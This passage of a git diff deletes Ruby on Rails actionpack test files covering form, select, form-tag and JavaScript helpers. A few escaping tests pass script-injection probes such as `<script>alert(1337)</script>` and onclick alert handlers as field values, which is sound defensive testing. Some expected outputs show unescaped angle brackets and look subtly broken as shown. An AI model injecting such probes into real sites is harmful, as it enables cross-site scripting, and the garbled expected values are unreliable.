-  def test_options_for_select_with_special_characters
-    assert_dom_equal(
-      "<option value=\"<Denmark>\" onclick=\"alert("<code>")\"><Denmark></option>",
-      options_for_select([ [ "<Denmark>", { :onclick => %(alert("<code>")) } ] ])
-    )
-  end
-
-  def test_option_html_attributes_with_no_array_element
-    assert_equal({}, option_html_attributes('foo'))
-  end
-
-  def test_option_html_attributes_without_hash
-    assert_equal({}, option_html_attributes([ 'foo', 'bar' ]))
-  end
-
-  def test_option_html_attributes_with_single_element_hash
-    assert_equal(
-      {:class => 'fancy'},
-      option_html_attributes([ 'foo', 'bar', { :class => 'fancy' } ])
-    )
-  end
-
-  def test_option_html_attributes_with_multiple_element_hash
-    assert_equal(
-      {:class => 'fancy', 'onclick' => "alert('Hello World');"},
-      option_html_attributes([ 'foo', 'bar', { :class => 'fancy', 'onclick' => "alert('Hello World');" } ])
-    )
-  end
-
-  def test_option_html_attributes_with_multiple_hashes
-    assert_equal(
-      {:class => 'fancy', 'onclick' => "alert('Hello World');"},
-      option_html_attributes([ 'foo', 'bar', { :class => 'fancy' }, { 'onclick' => "alert('Hello World');" } ])
-    )
-  end
-
-  def test_option_html_attributes_with_multiple_hashes_does_not_modify_them
-    options1 = { class: 'fancy' }
-    options2 = { onclick: "alert('Hello World');" }
-    option_html_attributes([ 'foo', 'bar', options1, options2 ])
-
-    assert_equal({ class: 'fancy' }, options1)
-    assert_equal({ onclick: "alert('Hello World');" }, options2)
-  end
-
-  def test_grouped_collection_select
-    @post = Post.new
-    @post.origin = 'dk'
-
-    assert_dom_equal(
-      %Q{<select id="post_origin" name="post[origin]"><optgroup label="<Africa>"><option value="<sa>"><South Africa></option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk" selected="selected">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
-      grouped_collection_select("post", "origin", dummy_continents, :countries, :continent_name, :country_id, :country_name)
-    )
-  end
-
-  def test_grouped_collection_select_with_selected
-    @post = Post.new
-
-    assert_dom_equal(
-      %Q{<select id="post_origin" name="post[origin]"><optgroup label="<Africa>"><option value="<sa>"><South Africa></option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk" selected="selected">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
-      grouped_collection_select("post", "origin", dummy_continents, :countries, :continent_name, :country_id, :country_name, :selected => 'dk')
-    )
-  end
-
-  def test_grouped_collection_select_with_disabled_value
-    @post = Post.new
-
-    assert_dom_equal(
-      %Q{<select id="post_origin" name="post[origin]"><optgroup label="<Africa>"><option value="<sa>"><South Africa></option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option disabled="disabled" value="dk">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
-      grouped_collection_select("post", "origin", dummy_continents, :countries, :continent_name, :country_id, :country_name, :disabled => 'dk')
-    )
-  end
-
-  def test_grouped_collection_select_under_fields_for
-    @post = Post.new
-    @post.origin = 'dk'
-
-    output_buffer = fields_for :post, @post do |f|
-      concat f.grouped_collection_select("origin", dummy_continents, :countries, :continent_name, :country_id, :country_name)
-    end
-
-    assert_dom_equal(
-      %Q{<select id="post_origin" name="post[origin]"><optgroup label="<Africa>"><option value="<sa>"><South Africa></option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk" selected="selected">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
-      output_buffer
-    )
-  end
-
-  private
-
-  def dummy_posts
-    [ Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
-      Post.new("Babe went home", "Babe", "To a little house", "shh!"),
-      Post.new("Cabe went home", "Cabe", "To a little house", "shh!") ]
-  end
-
-  def dummy_continents
-    [ Continent.new("<Africa>", [Country.new("<sa>", "<South Africa>"), Country.new("so", "Somalia")]),
-      Continent.new("Europe", [Country.new("dk", "Denmark"), Country.new("ie", "Ireland")]) ]
-  end
-end
diff --git a/actionpack/test/template/form_tag_helper_test.rb b/actionpack/test/template/form_tag_helper_test.rb
deleted file mode 100644
index 6c6a142..0000000
--- a/actionpack/test/template/form_tag_helper_test.rb
+++ /dev/null
@@ -1,642 +0,0 @@
-require 'abstract_unit'
-
-class FormTagHelperTest < ActionView::TestCase
-  include RenderERBUtils
-
-  tests ActionView::Helpers::FormTagHelper
-
-  def setup
-    super
-    @controller = BasicController.new
-  end
-
-  def hidden_fields(options = {})
-    method = options[:method]
-
-    txt =  %{<div style="margin:0;padding:0;display:inline">}
-    txt << %{<input name="utf8" type="hidden" value="&#x2713;" />}
-    if method && !%w(get post).include?(method.to_s)
-      txt << %{<input name="_method" type="hidden" value="#{method}" />}
-    end
-    txt << %{</div>}
-  end
-
-  def form_text(action = "http://www.example.com", options = {})
-    remote, enctype, html_class, id, method = options.values_at(:remote, :enctype, :html_class, :id, :method)
-
-    method = method.to_s == "get" ? "get" : "post"
-
-    txt =  %{<form accept-charset="UTF-8" action="#{action}"}
-    txt << %{ enctype="multipart/form-data"} if enctype
-    txt << %{ data-remote="true"} if remote
-    txt << %{ class="#{html_class}"} if html_class
-    txt << %{ id="#{id}"} if id
-    txt << %{ method="#{method}">}
-  end
-
-  def whole_form(action = "http://www.example.com", options = {})
-    out = form_text(action, options) + hidden_fields(options)
-
-    if block_given?
-      out << yield << "</form>"
-    end
-
-    out
-  end
-
-  def url_for(options)
-    if options.is_a?(Hash)
-      "http://www.example.com"
-    else
-      super
-    end
-  end
-
-  VALID_HTML_ID = /^[A-Za-z][-_:.A-Za-z0-9]*$/ # see http://www.w3.org/TR/html4/types.html#type-name
-
-  def test_check_box_tag
-    actual = check_box_tag "admin"
-    expected = %(<input id="admin" name="admin" type="checkbox" value="1" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_check_box_tag_id_sanitized
-    label_elem = root_elem(check_box_tag("project[2][admin]"))
-    assert_match VALID_HTML_ID, label_elem['id']
-  end
-
-  def test_form_tag
-    actual = form_tag
-    expected = whole_form
-    assert_dom_equal expected, actual
-  end
-
-  def test_form_tag_multipart
-    actual = form_tag({}, { 'multipart' => true })
-    expected = whole_form("http://www.example.com", :enctype => true)
-    assert_dom_equal expected, actual
-  end
-
-  def test_form_tag_with_method_patch
-    actual = form_tag({}, { :method => :patch })
-    expected = whole_form("http://www.example.com", :method => :patch)
-    assert_dom_equal expected, actual
-  end
-
-  def test_form_tag_with_method_put
-    actual = form_tag({}, { :method => :put })
-    expected = whole_form("http://www.example.com", :method => :put)
-    assert_dom_equal expected, actual
-  end
-
-  def test_form_tag_with_method_delete
-    actual = form_tag({}, { :method => :delete })
-
-    expected = whole_form("http://www.example.com", :method => :delete)
-    assert_dom_equal expected, actual
-  end
-
-  def test_form_tag_with_remote
-    actual = form_tag({}, :remote => true)
-
-    expected = whole_form("http://www.example.com", :remote => true)
-    assert_dom_equal expected, actual
-  end
-
-  def test_form_tag_with_remote_false
-    actual = form_tag({}, :remote => false)
-
-    expected = whole_form
-    assert_dom_equal expected, actual
-  end
-
-  def test_form_tag_with_block_in_erb
-    output_buffer = render_erb("<%= form_tag('http://www.example.com') do %>Hello world!<% end %>")
-
-    expected = whole_form { "Hello world!" }
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_tag_with_block_and_method_in_erb
-    output_buffer = render_erb("<%= form_tag('http://www.example.com', :method => :put) do %>Hello world!<% end %>")
-
-    expected = whole_form("http://www.example.com", :method => "put") do
-      "Hello world!"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_hidden_field_tag
-    actual = hidden_field_tag "id", 3
-    expected = %(<input id="id" name="id" type="hidden" value="3" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_hidden_field_tag_id_sanitized
-    input_elem = root_elem(hidden_field_tag("item[][title]"))
-    assert_match VALID_HTML_ID, input_elem['id']
-  end
-
-  def test_file_field_tag
-    assert_dom_equal "<input name=\"picsplz\" type=\"file\" id=\"picsplz\" />", file_field_tag("picsplz")
-  end
-
-  def test_file_field_tag_with_options
-    assert_dom_equal "<input name=\"picsplz\" type=\"file\" id=\"picsplz\" class=\"pix\"/>", file_field_tag("picsplz", :class => "pix")
-  end
-
-  def test_password_field_tag
-    actual = password_field_tag
-    expected = %(<input id="password" name="password" type="password" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_radio_button_tag
-    actual = radio_button_tag "people", "david"
-    expected = %(<input id="people_david" name="people" type="radio" value="david" />)
-    assert_dom_equal expected, actual
-
-    actual = radio_button_tag("num_people", 5)
-    expected = %(<input id="num_people_5" name="num_people" type="radio" value="5" />)
-    assert_dom_equal expected, actual
-
-    actual = radio_button_tag("gender", "m") + radio_button_tag("gender", "f")
-    expected = %(<input id="gender_m" name="gender" type="radio" value="m" /><input id="gender_f" name="gender" type="radio" value="f" />)
-    assert_dom_equal expected, actual
-
-    actual = radio_button_tag("opinion", "-1") + radio_button_tag("opinion", "1")
-    expected = %(<input id="opinion_-1" name="opinion" type="radio" value="-1" /><input id="opinion_1" name="opinion" type="radio" value="1" />)
-    assert_dom_equal expected, actual
-
-    actual = radio_button_tag("person[gender]", "m")
-    expected = %(<input id="person_gender_m" name="person[gender]" type="radio" value="m" />)
-    assert_dom_equal expected, actual
-
-    actual = radio_button_tag('ctrlname', 'apache2.2')
-    expected = %(<input id="ctrlname_apache2.2" name="ctrlname" type="radio" value="apache2.2" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_select_tag
-    actual = select_tag "people", "<option>david</option>".html_safe
-    expected = %(<select id="people" name="people"><option>david</option></select>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_select_tag_with_multiple
-    actual = select_tag "colors", "<option>Red</option><option>Blue</option><option>Green</option>".html_safe, :multiple => :true
-    expected = %(<select id="colors" multiple="multiple" name="colors"><option>Red</option><option>Blue</option><option>Green</option></select>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_select_tag_disabled
-    actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :disabled => :true
-    expected = %(<select id="places" disabled="disabled" name="places"><option>Home</option><option>Work</option><option>Pub</option></select>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_select_tag_id_sanitized
-    input_elem = root_elem(select_tag("project[1]people", "<option>david</option>"))
-    assert_match VALID_HTML_ID, input_elem['id']
-  end
-
-  def test_select_tag_with_include_blank
-    actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :include_blank => true
-    expected = %(<select id="places" name="places"><option value=""></option><option>Home</option><option>Work</option><option>Pub</option></select>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_select_tag_with_prompt
-    actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :prompt => "string"
-    expected = %(<select id="places" name="places"><option value="">string</option><option>Home</option><option>Work</option><option>Pub</option></select>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_select_tag_escapes_prompt
-    actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :prompt => "<script>alert(1337)</script>"
-    expected = %(<select id="places" name="places"><option value=""><script>alert(1337)</script></option><option>Home</option><option>Work</option><option>Pub</option></select>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_select_tag_with_prompt_and_include_blank
-    actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :prompt => "string", :include_blank => true
-    expected = %(<select name="places" id="places"><option value="">string</option><option value=""></option><option>Home</option><option>Work</option><option>Pub</option></select>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_select_tag_with_nil_option_tags_and_include_blank
-    actual = select_tag "places", nil, :include_blank => true
-    expected = %(<select id="places" name="places"><option value=""></option></select>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_select_tag_with_nil_option_tags_and_prompt
-    actual = select_tag "places", nil, :prompt => "string"
-    expected = %(<select id="places" name="places"><option value="">string</option></select>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_area_tag_size_string
-    actual = text_area_tag "body", "hello world", "size" => "20x40"
-    expected = %(<textarea cols="20" id="body" name="body" rows="40">\nhello world</textarea>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_area_tag_size_symbol
-    actual = text_area_tag "body", "hello world", :size => "20x40"
-    expected = %(<textarea cols="20" id="body" name="body" rows="40">\nhello world</textarea>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_area_tag_should_disregard_size_if_its_given_as_an_integer
-    actual = text_area_tag "body", "hello world", :size => 20
-    expected = %(<textarea id="body" name="body">\nhello world</textarea>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_area_tag_id_sanitized
-    input_elem = root_elem(text_area_tag("item[][description]"))
-    assert_match VALID_HTML_ID, input_elem['id']
-  end
-
-  def test_text_area_tag_escape_content
-    actual = text_area_tag "body", "<b>hello world</b>", :size => "20x40"
-    expected = %(<textarea cols="20" id="body" name="body" rows="40">\n<b>hello world</b></textarea>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_area_tag_unescaped_content
-    actual = text_area_tag "body", "<b>hello world</b>", :size => "20x40", :escape => false
-    expected = %(<textarea cols="20" id="body" name="body" rows="40">\n<b>hello world</b></textarea>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_area_tag_unescaped_nil_content
-    actual = text_area_tag "body", nil, :escape => false
-    expected = %(<textarea id="body" name="body">\n</textarea>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_field_tag
-    actual = text_field_tag "title", "Hello!"
-    expected = %(<input id="title" name="title" type="text" value="Hello!" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_field_tag_class_string
-    actual = text_field_tag "title", "Hello!", "class" => "admin"
-    expected = %(<input class="admin" id="title" name="title" type="text" value="Hello!" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_field_tag_size_symbol
-    actual = text_field_tag "title", "Hello!", :size => 75
-    expected = %(<input id="title" name="title" size="75" type="text" value="Hello!" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_field_tag_size_string
-    actual = text_field_tag "title", "Hello!", "size" => "75"
-    expected = %(<input id="title" name="title" size="75" type="text" value="Hello!" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_field_tag_maxlength_symbol
-    actual = text_field_tag "title", "Hello!", :maxlength => 75
-    expected = %(<input id="title" name="title" maxlength="75" type="text" value="Hello!" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_field_tag_maxlength_string
-    actual = text_field_tag "title", "Hello!", "maxlength" => "75"
-    expected = %(<input id="title" name="title" maxlength="75" type="text" value="Hello!" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_field_disabled
-    actual = text_field_tag "title", "Hello!", :disabled => :true
-    expected = %(<input id="title" name="title" disabled="disabled" type="text" value="Hello!" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_field_tag_with_multiple_options
-    actual = text_field_tag "title", "Hello!", :size => 70, :maxlength => 80
-    expected = %(<input id="title" name="title" size="70" maxlength="80" type="text" value="Hello!" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_field_tag_id_sanitized
-    input_elem = root_elem(text_field_tag("item[][title]"))
-    assert_match VALID_HTML_ID, input_elem['id']
-  end
-
-  def test_label_tag_without_text
-    actual = label_tag "title"
-    expected = %(<label for="title">Title</label>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_label_tag_with_symbol
-    actual = label_tag :title
-    expected = %(<label for="title">Title</label>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_label_tag_with_text
-    actual = label_tag "title", "My Title"
-    expected = %(<label for="title">My Title</label>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_label_tag_class_string
-    actual = label_tag "title", "My Title", "class" => "small_label"
-    expected = %(<label for="title" class="small_label">My Title</label>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_label_tag_id_sanitized
-    label_elem = root_elem(label_tag("item[title]"))
-    assert_match VALID_HTML_ID, label_elem['for']
-  end
-
-  def test_label_tag_with_block
-    assert_dom_equal('<label>Blocked</label>', label_tag { "Blocked" })
-  end
-
-  def test_label_tag_with_block_and_argument
-    output = label_tag("clock") { "Grandfather" }
-    assert_dom_equal('<label for="clock">Grandfather</label>', output)
-  end
-
-  def test_label_tag_with_block_and_argument_and_options
-    output = label_tag("clock", :id => "label_clock") { "Grandfather" }
-    assert_dom_equal('<label for="clock" id="label_clock">Grandfather</label>', output)
-  end
-
-  def test_boolean_options
-    assert_dom_equal %(<input checked="checked" disabled="disabled" id="admin" name="admin" readonly="readonly" type="checkbox" value="1" />), check_box_tag("admin", 1, true, 'disabled' => true, :readonly => "yes")
-    assert_dom_equal %(<input checked="checked" id="admin" name="admin" type="checkbox" value="1" />), check_box_tag("admin", 1, true, :disabled => false, :readonly => nil)
-    assert_dom_equal %(<input type="checkbox" />), tag(:input, :type => "checkbox", :checked => false)
-    assert_dom_equal %(<select id="people" multiple="multiple" name="people[]"><option>david</option></select>), select_tag("people", "<option>david</option>".html_safe, :multiple => true)
-    assert_dom_equal %(<select id="people_" multiple="multiple" name="people[]"><option>david</option></select>), select_tag("people[]", "<option>david</option>".html_safe, :multiple => true)
-    assert_dom_equal %(<select id="people" name="people"><option>david</option></select>), select_tag("people", "<option>david</option>".html_safe, :multiple => nil)
-  end
-
-  def test_stringify_symbol_keys
-    actual = text_field_tag "title", "Hello!", :id => "admin"
-    expected = %(<input id="admin" name="title" type="text" value="Hello!" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_submit_tag
-    assert_dom_equal(
-      %(<input name='commit' data-disable-with="Saving..." onclick="alert('hello!')" type="submit" value="Save" />),
-      submit_tag("Save", :onclick => "alert('hello!')", :data => { :disable_with => "Saving..." })
-    )
-  end
-
-  def test_submit_tag_with_no_onclick_options
-    assert_dom_equal(
-      %(<input name='commit' data-disable-with="Saving..." type="submit" value="Save" />),
-      submit_tag("Save", :data => { :disable_with => "Saving..." })
-    )
-  end
-
-  def test_submit_tag_with_confirmation
-    assert_dom_equal(
-      %(<input name='commit' type='submit' value='Save' data-confirm="Are you sure?" />),
-      submit_tag("Save", :data => { :confirm => "Are you sure?" })
-    )
-  end
-
-  def test_submit_tag_with_deprecated_confirmation
-    assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
-      assert_dom_equal(
-        %(<input name='commit' type='submit' value='Save' data-confirm="Are you sure?" />),
-        submit_tag("Save", :confirm => "Are you sure?")
-      )
-    end
-  end
-
-  def test_button_tag
-    assert_dom_equal(
-      %(<button name="button" type="submit">Button</button>),
-      button_tag
-    )
-  end
-
-  def test_button_tag_with_submit_type
-    assert_dom_equal(
-      %(<button name="button" type="submit">Save</button>),
-      button_tag("Save", :type => "submit")
-    )
-  end
-
-  def test_button_tag_with_button_type
-    assert_dom_equal(
-      %(<button name="button" type="button">Button</button>),
-      button_tag("Button", :type => "button")
-    )
-  end
-
-  def test_button_tag_with_reset_type
-    assert_dom_equal(
-      %(<button name="button" type="reset">Reset</button>),
-      button_tag("Reset", :type => "reset")
-    )
-  end
-
-  def test_button_tag_with_disabled_option
-    assert_dom_equal(
-      %(<button name="button" type="reset" disabled="disabled">Reset</button>),
-      button_tag("Reset", :type => "reset", :disabled => true)
-    )
-  end
-
-  def test_button_tag_escape_content
-    assert_dom_equal(
-      %(<button name="button" type="reset" disabled="disabled"><b>Reset</b></button>),
-      button_tag("<b>Reset</b>", :type => "reset", :disabled => true)
-    )
-  end
-
-  def test_button_tag_with_block
-    assert_dom_equal('<button name="button" type="submit">Content</button>', button_tag { 'Content' })
-  end
-
-  def test_button_tag_with_block_and_options
-    output = button_tag(:name => 'temptation', :type => 'button') { content_tag(:strong, 'Do not press me') }
-    assert_dom_equal('<button name="temptation" type="button"><strong>Do not press me</strong></button>', output)
-  end
-
-  def test_button_tag_with_confirmation
-    assert_dom_equal(
-      %(<button name="button" type="submit" data-confirm="Are you sure?">Save</button>),
-      button_tag("Save", :type => "submit", :data => { :confirm => "Are you sure?" })
-    )
-  end
-
-  def test_button_tag_with_deprecated_confirmation
-    assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
-      assert_dom_equal(
-        %(<button name="button" type="submit" data-confirm="Are you sure?">Save</button>),
-        button_tag("Save", :type => "submit", :confirm => "Are you sure?")
-      )
-    end
-  end
-
-  def test_image_submit_tag_with_confirmation
-    assert_dom_equal(
-      %(<input alt="Save" type="image" src="/images/save.gif" data-confirm="Are you sure?" />),
-      image_submit_tag("save.gif", :data => { :confirm => "Are you sure?" })
-    )
-  end
-
-  def test_image_submit_tag_with_deprecated_confirmation
-    assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
-      assert_dom_equal(
-        %(<input alt="Save" type="image" src="/images/save.gif" data-confirm="Are you sure?" />),
-        image_submit_tag("save.gif", :confirm => "Are you sure?")
-      )
-    end
-  end
-
-
-  def test_color_field_tag
-    expected = %{<input id="car" name="car" type="color" />}
-    assert_dom_equal(expected, color_field_tag("car"))
-  end
-
-  def test_search_field_tag
-    expected = %{<input id="query" name="query" type="search" />}
-    assert_dom_equal(expected, search_field_tag("query"))
-  end
-
-  def test_telephone_field_tag
-    expected = %{<input id="cell" name="cell" type="tel" />}
-    assert_dom_equal(expected, telephone_field_tag("cell"))
-  end
-
-  def test_date_field_tag
-    expected = %{<input id="cell" name="cell" type="date" />}
-    assert_dom_equal(expected, date_field_tag("cell"))
-  end
-
-  def test_time_field_tag
-    expected = %{<input id="cell" name="cell" type="time" />}
-    assert_dom_equal(expected, time_field_tag("cell"))
-  end
-
-  def test_datetime_field_tag
-    expected = %{<input id="appointment" name="appointment" type="datetime" />}
-    assert_dom_equal(expected, datetime_field_tag("appointment"))
-  end
-
-  def test_datetime_local_field_tag
-    expected = %{<input id="appointment" name="appointment" type="datetime-local" />}
-    assert_dom_equal(expected, datetime_local_field_tag("appointment"))
-  end
-
-  def test_month_field_tag
-    expected = %{<input id="birthday" name="birthday" type="month" />}
-    assert_dom_equal(expected, month_field_tag("birthday"))
-  end
-
-  def test_week_field_tag
-    expected = %{<input id="birthday" name="birthday" type="week" />}
-    assert_dom_equal(expected, week_field_tag("birthday"))
-  end
-
-  def test_url_field_tag
-    expected = %{<input id="homepage" name="homepage" type="url" />}
-    assert_dom_equal(expected, url_field_tag("homepage"))
-  end
-
-  def test_email_field_tag
-    expected = %{<input id="address" name="address" type="email" />}
-    assert_dom_equal(expected, email_field_tag("address"))
-  end
-
-  def test_number_field_tag
-    expected = %{<input name="quantity" max="9" id="quantity" type="number" min="1" />}
-    assert_dom_equal(expected, number_field_tag("quantity", nil, :in => 1...10))
-  end
-
-  def test_range_input_tag
-    expected = %{<input name="volume" step="0.1" max="11" id="volume" type="range" min="0" />}
-    assert_dom_equal(expected, range_field_tag("volume", nil, :in => 0..11, :step => 0.1))
-  end
-
-  def test_field_set_tag_in_erb
-    output_buffer = render_erb("<%= field_set_tag('Your details') do %>Hello world!<% end %>")
-
-    expected = %(<fieldset><legend>Your details</legend>Hello world!</fieldset>)
-    assert_dom_equal expected, output_buffer
-
-    output_buffer = render_erb("<%= field_set_tag do %>Hello world!<% end %>")
-
-    expected = %(<fieldset>Hello world!</fieldset>)
-    assert_dom_equal expected, output_buffer
-
-    output_buffer = render_erb("<%= field_set_tag('') do %>Hello world!<% end %>")
-
-    expected = %(<fieldset>Hello world!</fieldset>)
-    assert_dom_equal expected, output_buffer
-
-    output_buffer = render_erb("<%= field_set_tag('', :class => 'format') do %>Hello world!<% end %>")
-
-    expected = %(<fieldset class="format">Hello world!</fieldset>)
-    assert_dom_equal expected, output_buffer
-
-    output_buffer = render_erb("<%= field_set_tag %>")
-
-    expected = %(<fieldset></fieldset>)
-    assert_dom_equal expected, output_buffer
-
-    output_buffer = render_erb("<%= field_set_tag('You legend!') %>")
-
-    expected = %(<fieldset><legend>You legend!</legend></fieldset>)
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_text_area_tag_options_symbolize_keys_side_effects
-    options = { :option => "random_option" }
-    text_area_tag "body", "hello world", options
-    assert_equal options, { :option => "random_option" }
-  end
-
-  def test_submit_tag_options_symbolize_keys_side_effects
-    options = { :option => "random_option" }
-    submit_tag "submit value", options
-    assert_equal options, { :option => "random_option" }
-  end
-
-  def test_button_tag_options_symbolize_keys_side_effects
-    options = { :option => "random_option" }
-    button_tag "button value", options
-    assert_equal options, { :option => "random_option" }
-  end
-
-  def test_image_submit_tag_options_symbolize_keys_side_effects
-    options = { :option => "random_option" }
-    image_submit_tag "submit source", options
-    assert_equal options, { :option => "random_option" }
-  end
-
-  def test_image_label_tag_options_symbolize_keys_side_effects
-    options = { :option => "random_option" }
-    label_tag "submit source", "title", options
-    assert_equal options, { :option => "random_option" }
-  end
-
-  def protect_against_forgery?
-    false
-  end
-
-  private
-
-  def root_elem(rendered_content)
-    HTML::Document.new(rendered_content).root.children[0]
-  end
-end
diff --git a/actionpack/test/template/javascript_helper_test.rb b/actionpack/test/template/javascript_helper_test.rb
deleted file mode 100644
index 1eed8ad..0000000
--- a/actionpack/test/template/javascript_helper_test.rb
+++ /dev/null
@@ -1,104 +0,0 @@
-require 'abstract_unit'
-
-class JavaScriptHelperTest < ActionView::TestCase
-  tests ActionView::Helpers::JavaScriptHelper
-
-  def _evaluate_assigns_and_ivars() end
-
-  attr_accessor :formats, :output_buffer
-
-  def update_details(details)
-    @details = details
-    yield if block_given?
-  end
-
-  def setup
-    super
-    ActiveSupport.escape_html_entities_in_json  = true
-    @template = self
-  end
-
-  def teardown
-    ActiveSupport.escape_html_entities_in_json  = false
-  end
-
-  def test_escape_javascript
-    assert_equal '', escape_javascript(nil)
-    assert_equal %(This \\"thing\\" is really\\n netos\\'), escape_javascript(%(This "thing" is really\n netos'))
-    assert_equal %(backslash\\\\test), escape_javascript( %(backslash\\test) )
-    assert_equal %(dont <\\/close> tags), escape_javascript(%(dont </close> tags))
-    assert_equal %(unicode &#x2028; newline), escape_javascript(%(unicode \342\200\250 newline).force_encoding(Encoding::UTF_8).encode!)
-    assert_equal %(unicode &#x2029; newline), escape_javascript(%(unicode \342\200\251 newline).force_encoding(Encoding::UTF_8).encode!)
-
-    assert_equal %(dont <\\/close> tags), j(%(dont </close> tags))
-  end
-
-  def test_escape_javascript_with_safebuffer
-    given = %('quoted' "double-quoted" new-line:\n </closed>)
-    expect = %(\\'quoted\\' \\"double-quoted\\" new-line:\\n <\\/closed>)
-    assert_equal expect, escape_javascript(given)
-    assert_equal expect, escape_javascript(ActiveSupport::SafeBuffer.new(given))
-    assert_instance_of String, escape_javascript(given)
-    assert_instance_of ActiveSupport::SafeBuffer, escape_javascript(ActiveSupport::SafeBuffer.new(given))
-  end
-
-  def test_button_to_function
-    assert_deprecated do
-      assert_dom_equal %(<input type="button" onclick="alert('Hello world!');" value="Greeting" />),
-        button_to_function("Greeting", "alert('Hello world!')")
-    end
-  end
-
-  def test_button_to_function_with_onclick
-    assert_deprecated do
-      assert_dom_equal "<input onclick=\"alert('Goodbye World :('); alert('Hello world!');\" type=\"button\" value=\"Greeting\" />",
-        button_to_function("Greeting", "alert('Hello world!')", :onclick => "alert('Goodbye World :(')")
-    end
-  end
-
-  def test_button_to_function_without_function
-    assert_deprecated do
-      assert_dom_equal "<input onclick=\";\" type=\"button\" value=\"Greeting\" />",
-        button_to_function("Greeting")
-    end
-  end
-
-  def test_link_to_function
-    assert_deprecated do
-      assert_dom_equal %(<a href="#" onclick="alert('Hello world!'); return false;">Greeting</a>),
-        link_to_function("Greeting", "alert('Hello world!')")
-    end
-  end
-
-  def test_link_to_function_with_existing_onclick
-    assert_deprecated do
-      assert_dom_equal %(<a href="#" onclick="confirm('Sanity!'); alert('Hello world!'); return false;">Greeting</a>),
-        link_to_function("Greeting", "alert('Hello world!')", :onclick => "confirm('Sanity!')")
-    end
-  end
-
-  def test_function_with_href
-    assert_deprecated do
-      assert_dom_equal %(<a href="http://example.com/" onclick="alert('Hello world!'); return false;">Greeting</a>),
-        link_to_function("Greeting", "alert('Hello world!')", :href => 'http://example.com/')
-    end
-  end
-
-  def test_javascript_tag
-    self.output_buffer = 'foo'
-
-    assert_dom_equal "<script>\n//<![CDATA[\nalert('hello')\n//]]>\n</script>",
-      javascript_tag("alert('hello')")
-
-    assert_equal 'foo', output_buffer, 'javascript_tag without a block should not concat to output_buffer'
-  end
-
-  def test_javascript_tag_with_options
-    assert_dom_equal "<script id=\"the_js_tag\">\n//<![CDATA[\nalert('hello')\n//]]>\n</script>",
-      javascript_tag("alert('hello')", :id => "the_js_tag")
-  end
-
-  def test_javascript_cdata_section
-    assert_dom_equal "\n//<![CDATA[\nalert('hello')\n//]]>\n", javascript_cdata_section("alert('hello')")
-  end
-end
diff --git a/actionpack/test/template/lookup_context_test.rb b/actionpack/test/template/lookup_context_test.rb
deleted file mode 100644
index 073bd14..0000000
--- a/actionpack/test/template/lookup_context_test.rb
+++ /dev/null
@@ -1,263 +0,0 @@
-require "abstract_unit"
-require "abstract_controller/rendering"
-
-class LookupContextTest < ActiveSupport::TestCase
-  def setup
-    @lookup_context = ActionView::LookupContext.new(FIXTURE_LOAD_PATH, {})
-    ActionView::LookupContext::DetailsKey.clear
-  end
-
-  def teardown
-    I18n.locale = :en
-  end
-
-  test "allows to override default_formats with ActionView::Base.default_formats" do
-    begin
-      formats = ActionView::Base.default_formats
-      ActionView::Base.default_formats = [:foo, :bar]
-
-      assert_equal [:foo, :bar], ActionView::LookupContext.new([]).default_formats
-    ensure
-      ActionView::Base.default_formats = formats
-    end
-  end
-
-  test "process view paths on initialization" do
-    assert_kind_of ActionView::PathSet, @lookup_context.view_paths
-  end
-
-  test "normalizes details on initialization" do
